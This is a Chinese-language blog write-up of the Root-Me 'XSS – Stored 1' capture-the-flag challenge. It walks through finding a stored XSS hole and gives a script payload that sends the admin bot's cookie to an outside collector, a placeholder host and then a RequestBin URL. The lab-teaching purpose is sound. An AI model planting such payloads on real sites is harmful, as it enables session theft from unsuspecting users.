• 如果您想对本站表示支持,请随手点击一下广告即可~
  • 本站致力于提供原创、优秀的技术文章~
  • 有任何疑问或建议 均可以在站点右侧栏处 通过各种方式联系站长哦~
  • CTF – RootMe解题报告 [Web-Client : XSS – Stored 1]

    渗透测试 EXP 56阅读 0评论

    挑战入口:Root-Me(https://www.root-me.org/en/Challenges/Web-Client/XSS-Stored-1)
      分类目录:Link to …(http://exp-blog.com/2019/01/02/pid-2597/11/)

    已经很直白提示是存储型 XSS 题型。

    页面需要提交一个表单,在 Message 区测试注入一个 html 代码 <img src=0 />,提交后发现直接作为图片元素渲染。

    打开浏览器的开发者工具查看,不难发现 Cookie 并没有标注 HttpOnly 属性,说明可以利用 document.cookie 发起 XSS 攻击。

    多刷新几次页面,发现这台靶机后台有个机器人线程在定时读取我们提交的消息,当读取之后,该消息会被删掉,此时页面底部会提示 Your messages have been read

    而我们要做的就是把 XSS 的 payloads 消息存储到后台,当机器人读取到这条消息时,就会把这个机器人的 Cookie 发送到我们的指定的一台服务器,实现 Cookie 窃取。

    假设我们已经搭建了一台服务器 ${HOST} ,那么可以在 Message 区构造一个这样的 payloads :

    exp:<script>document.write("<img src=${HOST}?tk="+document.cookie+" />");</script>

    (注:此 payloads 建议直接在页面提交,若使用 Burp Suite 提交注意需要先把 + 编码成 %2B ,否则会导致服务器报错收不到消息)

    提交 payloads 消息后,就登录到 ${HOST} 服务器守株待兔即可 (大概需要等5分钟),只要机器人读取了这条消息,就能收到其 Cookie 。

    对于这个 ${HOST} 服务器,推荐使用 RequestBin 生成的临时 HTTP 服务器。例如你生成的 HTTP 服务的临时 URL 为 http://requestbin.fullcontact.com/qnwgrmqn,则把 payloads 修改为:

    exp:<script>document.write("<img src=http://requestbin.fullcontact.com/qnwgrmqn?tk="+document.cookie+" />");</script>

    当然你也可以选择自己实现一个 HTTP 服务器,但是必须有公网 IP。

    最终收到的 Cookie 为:ADMIN_COOKIE=NkI9qe4cdLIO2P7MIsWS8ofD6,其值就是 flag,完成挑战。


    转载请注明:EXP 技术分享博客 » CTF – RootMe解题报告 [Web-Client : XSS – Stored 1]

    喜欢 (0) 分享 (0)
    发表我的评论
    取消评论

    表情

    Hi,您需要填写昵称和邮箱!

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址